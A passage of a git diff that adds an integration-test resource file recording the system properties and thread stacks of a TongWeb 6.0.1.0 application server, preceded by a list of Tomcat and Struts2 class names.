-org.apache.catalina.valves.ErrorReportValve
-org.apache.coyote.AbstractProcessorLight
-org.apache.coyote.AbstractProtocol$AsyncTimeout
-org.apache.coyote.AbstractProtocol$ConnectionHandler
-org.apache.coyote.http11.Http11Processor
-org.apache.struts2.dispatcher.Dispatcher
-org.apache.struts2.dispatcher.ExecuteOperations
-org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
-org.apache.struts2.factory.StrutsActionProxy
-org.apache.struts2.interceptor.CheckboxInterceptor
-org.apache.struts2.interceptor.DateTextFieldInterceptor
-org.apache.struts2.interceptor.FileUploadInterceptor
-org.apache.struts2.interceptor.I18nInterceptor
-org.apache.struts2.interceptor.MultiselectInterceptor
-org.apache.struts2.interceptor.ServletConfigInterceptor
-org.apache.struts2.interceptor.debugging.DebuggingInterceptor
-org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor
-org.apache.tomcat.util.net.Acceptor
-org.apache.tomcat.util.net.NioEndpoint
-org.apache.tomcat.util.net.NioEndpoint$Poller
-org.apache.tomcat.util.net.NioEndpoint$SocketProcessor
-org.apache.tomcat.util.net.SocketProcessorBase
-org.apache.tomcat.util.threads.TaskQueue
-org.apache.tomcat.util.threads.TaskThread$WrappingRunnable
-org.apache.tomcat.util.threads.ThreadPoolExecutor
-org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker
diff --git a/integration-test/src/test/resources/infos/TongWeb6010ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb6010ContainerTestBasicInfo.txt
new file mode 100644
index 00000000..06398a54
--- /dev/null
+++ b/integration-test/src/test/resources/infos/TongWeb6010ContainerTestBasicInfo.txt
@@ -0,0 +1,1220 @@
+# Generated At 2026-05-24 10:59:51
+SystemProps:
+java.vendor: Temurin
+sun.java.launcher: SUN_STANDARD
+catalina.base: /opt/tweb6
+sun.management.compiler: HotSpot 64-Bit Tiered Compilers
+javax.el.ExpressionFactory: com.tongweb.web.el.ExpressionFactoryImpl
+catalina.useNaming: true
+os.name: Linux
+sun.boot.class.path: /opt/tweb6/lib/endorsed/jaxb-impl.jar:/opt/tweb6/lib/endorsed/jaxb-api.jar:/opt/tweb6/lib/endorsed/annotation-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes
+javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory
+com.tongweb.web.thor.startup.ContextConfig.jarsToSkip:
+java.vm.specification.vendor: Oracle Corporation
+java.runtime.version: 1.8.0_482-b08
+org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
+user.name: root
+shared.loader:
+tongweb.built: 2014.07.17
+tongweb.home: /opt/tweb6
+java.naming.factory.initial: com.tongweb.web.naming.tongweb.java.javaURLContextFactory
+user.language: en
+derby.system.home: /opt/tweb6
+ibm.stream.nio: true
+sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64
+openejb.assembler: com.tongweb.tongejb.assembler.classic.ThorAssembler
+openjpa.Log: com.tongweb.tongejb.openjpa.JULOpenJPALogFactory
+openwebbeans.logging.factory: com.tongweb.webbeans.logger.JULLoggerFactory
+tongweb.java: /opt/java/openjdk
+openejb.offline: false
+java.version: 1.8.0_482
+java.util.logging.manager: com.tongweb.log.TongwebLogManager
+user.timezone: Etc/UTC
+java.net.preferIPv4Stack: true
+sun.arch.data.model: 64
+tongweb.util.buf.StringCache.byte.enabled: true
+tongweb.upload: /opt/tweb6/temp/upload
+java.endorsed.dirs: /opt/tweb6/lib/endorsed
+sun.cpu.isalist:
+sun.jnu.encoding: UTF-8
+file.encoding.pkg: sun.io
+package.access: sun.,com.tongweb.web.thor.,com.tongweb.web.oro.,com.tongweb.web.webutil.,com.tongweb.web.jasper.
+file.separator: /
+java.specification.name: Java Platform API Specification
+tongweb.snapshotinhour: 5
+java.class.version: 52.0
+user.country: US
+java.home: /opt/java/openjdk/jre
+java.vm.info: mixed mode
+os.version: 6.8.0-111-generic
+openejb.embedder.source: ThorServerListener
+sun.font.fontmanager: sun.awt.X11FontManager
+tongweb.sysapp: /opt/tweb6/applications
+path.separator: :
+java.vm.version: 25.482-b08
+openejb.configurator: com.tongweb.tongejb.config.ThorConfigurationFactory
+tongweb.util.scan.DefaultJarScanner.jarsToSkip: bval-core,commons-lang3-,commons-digester-,openejb-rest,openwebbeans-,httpcore-,openjpa-,rmock-,ecj-,sisu-guice,xml-apis-,catalina-,commons-dbcp-all-1.3-,shrinkwrap-,bval-jsr,jbossjts-,arquillian-core-api-,openejb-api,jbossall-,lucene-analyzers-,quartz-,axis-,openejb-loader,juli-,leveldb,myfaces-api,webbeans-ejb,activeio-,bcprov-,jsr311-,logkit-,commons-pool-,javax.,openejb-jpa-integration,commons-logging-api-,ApacheJMeter,httpclient-,myfaces-impl,dom4j-,jsp-api,org.osgi.core-,commons-net-,aopalliance-,arquillian-junit-,arquillian-test-spi,google-,jansi-,jboss-,org.eclipse.,joda-time-,hawtdispatch-,pax-,xalan-,javaee-api,jline,idb-,openejb-cxf-transport,wss4j-,xbean-,commons-io-,cglib-,commons-collections-,velocity-,xmlschema-,jbosssx-,gragent.jar,xercesImpl-,lucene-core-,hamcrest-,openejb-webservices,swizzle-,commons-cli-,derbynet-,icu4j-,XmlSchema-,commons-beanutils,opensaml-,arquillian-container-,derby-,xmlrpc-,servlet-api-,activation-,javaws.jar,jbosscx-,webbeans-ee,activemq-,xml-resolver-,commons-logging-,openejb-javaagent,hsqldb-,junit-,woodstox-core-asl-,howl-,openejb-jsf,xmlsec-,cssparser-,openejb-derby,org.junit.,jsoup-,commons-dbcp,jsr299-,arquillian-common,maven-,ops4j-,plexus-,eclipselink-,mina-,cxf-,htmlunit-,mimepull-,saaj-,surefire-,guice-,jersey-,commons-discovery-,serp-,jaxp-,openejb-cxf-bundle,webbeans-spi,aether-,derbyclient-,groovy-,wsdl4j-,openejb-hsql,jetty-,openejb-server,snappy-java-,openejb-cxf,wagon-,avalon-framework-,javaee-,openejb-openwebbeans,openejb-jee,sisu-inject,hibernate-,jcommander-,arquillian-core-impl-base,scannotation-,openejb-jstl,nekohtml-,slf4j-,c3p0-,hawtjni-runtime,openejb-cxf-rs,openejb-provisionning,commons-lang-,spring-,javassist-,arquillian-test-api,openejb-http,jettison-,serializer-,jasypt-,sac-,axis2-,commons-httpclient-,arquillian-test-impl-base,arquillian-config-,arquillian-core-spi-,stax-api-,mqtt-client-,sshd-,openejb-core,openejb-client,ziplock-,log4j-,openejb-ejbd,hawtbuf-,kahadb-,antlr-,deploy.jar,neethi-,commons-codec-,jackson-mapper-asl-,webbeans-impl,jaxb-,xmlunit-,openws-,fusemq-leveldb-,oro-,testng-,idea_rt.jar,jmdns-,wstx-asl-,arquillian-tomee-,geronimo-,mbean-annotation-api-,gson,xmltooling-
+java.awt.printerjob: sun.print.PSPrinterJob
+java.security.policy: /opt/tweb6/conf/tongweb.policy
+sun.io.unicode.encoding: UnicodeLittle
+java.specification.maintenance.version: 6
+awt.toolkit: sun.awt.X11.XToolkit
+package.definition: sun.,java.,com.tongweb.web.thor.,com.tongweb.web.oro.,com.tongweb.web.webutil.,com.tongweb.web.jasper.
+tongweb.app: /opt/tweb6/deployment
+java.naming.factory.url.pkgs: com.tongweb.web.naming.tongweb:com.tongweb.tongejb.core.ivm.naming
+openejb.home: /opt/tweb6
+java.security.egd: file:/dev/./urandom
+user.home: /root
+java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader
+openejb.version: 1.0.0
+java.specification.vendor: Oracle Corporation
+java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
+java.vendor.url: https://adoptium.net/
+java.vm.vendor: Temurin
+common.loader: ${catalina.base}/lib,${catalina.base}/lib/*.jar,${catalina.home}/lib,${catalina.home}/lib/*.jar
+java.runtime.name: OpenJDK Runtime Environment
+sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start
+java.class.path: /opt/java/openjdk/lib/tools.jar:/opt/tweb6/lib/launcher.jar:/opt/tweb6/lib/tongejb-javaagent.jar
+com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger
+java.vm.specification.name: Java Virtual Machine Specification
+java.vm.specification.version: 1.8
+catalina.home: /opt/tweb6
+sun.cpu.endian: little
+sun.os.patch.level: unknown
+java.awt.headless: true
+java.io.tmpdir: /opt/tweb6/temp
+java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
+server.loader:
+os.arch: amd64
+java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
+java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext
+tongweb.jndi.lookup.relaxVersion: false
+user.dir: /opt/tweb6
+line.separator:
+
+java.vm.name: OpenJDK 64-Bit Server VM
+com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider
+java.security.auth.login.config: /opt/tweb6/conf/security/login.config
+tongweb.version: 6.0.1.0
+openejb.base: /opt/tweb6
+isServerMode: true
+openejb.jsf.skip: false
+file.encoding: UTF-8
+com.tongweb.web.thor.startup.TldConfig.jarsToSkip:
+noBanner: true
+java.specification.version: 1.8
+
+===========================================
+
+ThreadStacks:
+"ajp-bio-8009-exec-9" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-3" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Accept-0" #12 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@d33e556
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+
+"NioBlockingSelector.BlockPoller-2" #21 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
+
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
+"http-nio-8443-ClientPoller-1" #100 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-Acceptor-0" #88 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:791)
+ at java.lang.Thread.run(Thread.java:750)
+
+"main" #1 [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at com.tongweb.web.thor.core.ThorStandardServer.await(ThorStandardServer.java:166)
+ at com.tongweb.web.thor.startup.Catalina.await(Catalina.java:767)
+ at com.tongweb.web.thor.startup.Tomee.start(Tomee.java:561)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at com.tongweb.web.thor.startup.ThorBootstrap.start(ThorBootstrap.java:335)
+ at com.tongweb.web.thor.startup.ThorBootstrap.main(ThorBootstrap.java:478)
+
+"http-nio-5100-exec-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-3" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-6" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-1" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@79b3f4d7
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"NioBlockingSelector.BlockPoller-4" #23 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
+
+"com.tongweb.tongejb.pool.scheduler.1" #45 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6bb8b7e2
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-3" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-8" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-9" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Reaper" #13 [WAITING] on java.lang.ref.ReferenceQueue$Lock@281e85db
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-ClientPoller-0" #73 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-10" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-Acceptor-0" #112 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at com.tongweb.web.webutil.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:60)
+ at com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:216)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-7" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
